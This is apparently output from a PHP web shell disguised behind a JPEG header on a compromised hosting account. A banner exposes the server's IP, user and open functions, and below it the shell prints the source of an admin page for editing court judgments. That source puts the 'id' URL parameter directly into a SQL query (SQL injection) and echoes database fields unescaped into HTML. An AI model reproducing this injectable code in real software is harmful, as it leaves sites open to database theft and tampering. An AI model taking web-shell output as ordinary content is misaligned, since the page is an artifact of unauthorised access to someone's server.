ÿØÿà JPEG ÿþ;
| Server IP : 68.65.120.201 / Your IP : 216.73.216.221 Web Server : LiteSpeed System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : taxhyuvu ( 2294) PHP Version : 8.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/self/root/home/./././././././././taxhyuvu/./admin/ |
Upload File : |
<?php
Session_start();
if(isset($_SESSION['adminlogedin']) && $_SESSION['adminlogedin']==true) {
$email= $_SESSION['Email_Address'];
$user= $_SESSION['user'];
?>
<!DOCTYPE html>
<html lang="en">
<head>
<title>Update Judgment</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/css/bootstrap.min.css" rel="stylesheet">
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/js/bootstrap.bundle.min.js"></script>
</head>
<body style="background: #21a3b321;">
<?php
include('db.php');
$id=$_GET['id'];
// echo"$id";
$p2="SELECT * FROM `judgments` WHERE `id` = '$id';
";
$power = mysqli_query($con,$p2);
$k=mysqli_fetch_assoc($power);
// print_r($k);
?>
<Style>
.form-control:focus {
color: #212529;
background-color: #fff;
border-color: #b7d0f5;
outline: 0;
box-shadow: 0 0 0 0.25rem rgba(79, 80, 80, 0.247);
}
.btn-primary{ background: #009bad;
border: #0a9eb0;}
.btn:hover {
color: var(--bs-btn-hover-color);
background-color: #98a0a4;
border-color: #98a0a4;
}
.head{width: 100%;height: ;
background-color: #f7f7f7;}
.head img{width: 300px;}
.img1st{margin: 0% ;
padding: 20px}
td{text-align: justify;
}
th{text-align: center; color: #666666;
}
*{font-family: math !important;
font-size: 18px;
}
p{font-family: math !important;
font-size: 18px;}
</Style>
<div class=head>
<div class="container" >
<div class="img1st">
<center>
<img src="Logo.png"></center>
</div>
</div>
</div>
<center><h1 style="font-weight:800;text-transform: capitalize; padding-top:25px; padding-bottom:15px;"> Update Judgment </h1></center>
<form action="updatejudgmentdata" method="post">
<div class="container" style="max-width: 1155px; box-shadow: 5px 5px 5px 5px #888888;background: #f7f7f7;border: 3px solid #a0a0a0; padding: 20px;">
<center><h2 style="font-weight: 800;"> <input type="text" placeholder="Case No. 101 of 2022" name="CaseNo" class="form-control" style="width:200px;" value="<?php echo $k['CaseNo']?>"></h2>
<h3 style=" font-size: 23px;
font-weight: 800;
">
<select id="Year" class="form-control" style="width:200px;" name="Year" >
<option value="<?php echo $k['Year']?>"><?php echo $k['Year']?></option>
<?php
$Year1="SELECT * FROM `plus` ORDER BY `plus`.`Year` DESC";
$data11=mysqli_query($con,$Year1);
?>
<?php foreach ($data11 as $yy ) {
?>
<option value="<?php echo $yy['Year']?>"><?php echo $yy['Year']?></option><?php } ?>
</select>
<select id="cars" class="form-control" style="width:200px;" name="Court">
<option value="<?php echo $k['Court']?>" ><?php echo $k['Court']?></option>
<?php
$Year11="SELECT * FROM `pluss`";
$data111=mysqli_query($con,$Year11);
?>
<?php foreach ($data111 as $yyy ) {
?>
<option value="<?php echo $yyy['Court']?>"><?php echo $yyy['Court']?></option><?php } ?>
</select></h3></center>
<p style=""><input type="text" placeholder="Citations Reference No. " class="form-control" style="" name="Ref" value="<?php echo $k['Ref']?>"></p>
<P><B>Judges</B><Br><textarea type="text" placeholder="Add Justice " class="form-control" style="width:300px;" name="Present" value=""><?php echo $k['Present']?></textarea><br>
</P>
<center>
<h5 style="font-weight: 800;"><textarea type="text" placeholder="" class="form-control" style="width:530px;" name="Vs1" value=""><?php echo $k['Vs1']?></textarea>
<Br>VS<BR>
<textarea type="text" placeholder="" class="form-control" style="width:530px;" name="Vs2" value=""> <?php echo $k['Vs2']?></textarea></h5></center>
<p><b>PRESENT (Adv):</b></p>
<p><B></B> <textarea type="text" placeholder="Add Petitioner" class="form-control" style="width:300px;" name="Peti" value=""><?php echo $k['Peti']?></textarea>
</p>
<p><B></B> <textarea type="text" placeholder="Add Respondent" class="form-control" style="width:300px;" name="Respo" value=""><?php echo $k['Respo']?></textarea></p>
<p>
<div class="row">
<div class="col-md-3">
<span><B>Law:</B></span> <textarea type="text" placeholder="Add Law" class="form-control" style="width:100%;" name="Law"><?php echo $k['Law']?></textarea><BR>
<span><B>Sections:</B></span> <textarea type="text" placeholder="Add Sections" class="form-control" style="width:100%;" name="Sect"><?php echo $k['Sect']?></textarea>
</div>
<div class="col-md-3">
<span><B>Law 2:</B></span> <textarea type="text" placeholder="Add Law" class="form-control" style="width:100%;" name="Law2"><?php echo $k['Law2']?></textarea><BR>
<span><B>Sections:</B></span> <textarea type="text" placeholder="Add Sections" class="form-control" style="width:100%;" name="Sect2"><?php echo $k['Sect2']?></textarea>
</div>
<div class="col-md-3">
<span><B>Law 3:</B></span> <textarea type="text" placeholder="Add Law" class="form-control" style="width:100%;" name="Law3"><?php echo $k['Law3']?></textarea><BR>
<span><B>Sections:</B></span> <textarea type="text" placeholder="Add Sections" class="form-control" style="width:100%;" name="Sect3"><?php echo $k['Sect3']?></textarea>
</div>
<div class="col-md-3">
<span><B>Law 4:</B></span> <textarea type="text" placeholder="Add Law" class="form-control" style="width:100%;" name="Law4"><?php echo $k['Law4']?></textarea><BR>
<span><B>Sections:</B></span> <textarea type="text" placeholder="Add Sections" class="form-control" style="width:100%;" name="Sect4"><?php echo $k['Sect4']?></textarea>
</div>
</div>
</p>
<center><h5 style="font-weight: 800; font-size: 22px;"><input type="text" placeholder="Add heading" class="form-control" name="Head1" style="width:200px;" value="<?php echo $k['Head1']?>"></h5></center>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css" integrity="sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO" crossorigin="anonymous">
<script src="https://code.jquery.com/jquery-3.6.0.min.js" integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/2.6.0/umd/popper.min.js" integrity="sha512-BmM0/BQlqh02wuK5Gz9yrbe7VyIVwOzD1o40yi1IsTjriX/NGF37NyXHfmFzIlMmoSIBXgqDiG1VNU6kB5dBbA==" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/js/bootstrap.min.js" integrity="sha384-ChfqqxuZUCnJSK3+MXmPNIyE6ZbWh2IMqE241rYiqJxyMiZ6OW/JmZQ5stwEULTy" crossorigin="anonymous"></script>
<script src="https://cdn.tiny.cloud/1/no-api-key/tinymce/6/tinymce.min.js" referrerpolicy="origin"></script>
<script>
tinymce.init({
selector: 'textarea#editor',
});
</script>
<P style="text-align: justify;">
<textarea id="editor" name="Para1" placeholder="Page1"><?php echo $k['Para1']?></textarea>
<textarea id="editor" name="Para2" placeholder="Page 2"><?php echo $k['Para2']?></textarea>
<center><h5 style="font-weight: 800; font-size: 22px;" ><input type="text" placeholder="Add heading" name="Head2" class="form-control" style="width:200px;" value="<?php echo $k['Head2']?>"></h5></center>
<textarea id="editor" name="Para3" placeholder="Page3"><?php echo $k['Para3']?></textarea>
<textarea id="editor" name="Para4" placeholder="Page4"><?php echo $k['Para4']?></textarea>
<p style=" border-top: dashed;
border-bottom: dashed;
color: red;
border-color: rgb(191 36 36 / 54%); ">
Disclaimer /Note: We have reproduced the judgment for facilitation of readers;
however, the readers must study the original or certified copy of the above said
judgment before referring it in any Court of Law. The judgment as reproduced above is
a reported judgment available in law magazines and journals namely <B style="color:black;"><input type="text" class="form-control" style="width:200px; display:inline;" placeholder="Enter PTD " name="PTD" value="<?php echo $k['PTD']?>"></B><BR>
</p>
<center>
<!-- <input type="hidden" name="Catag" value="<?php #echo "$id";?>"> -->
<input type="hidden" name="Uploader" value="<?php echo "$id";?>">
<input type="hidden" name="username" value="<?php echo $k['Uploader']?>">
<div class="row">
<div class="col-md-11"><button type="submit" name="goupdatejug" class="btn btn-primary" style="width:500px; font-weight:800;">Update Judgment</button></div></form>
<div class="col-md-1"> <a href="drop?iddj=<?php echo $k['ID']?>" class="btn btn-danger"> Delete </a>
</div>
</div>
</center>
</div>
<?php }
else{ echo '<script>window.open("login", "_self")</script>'; } ?>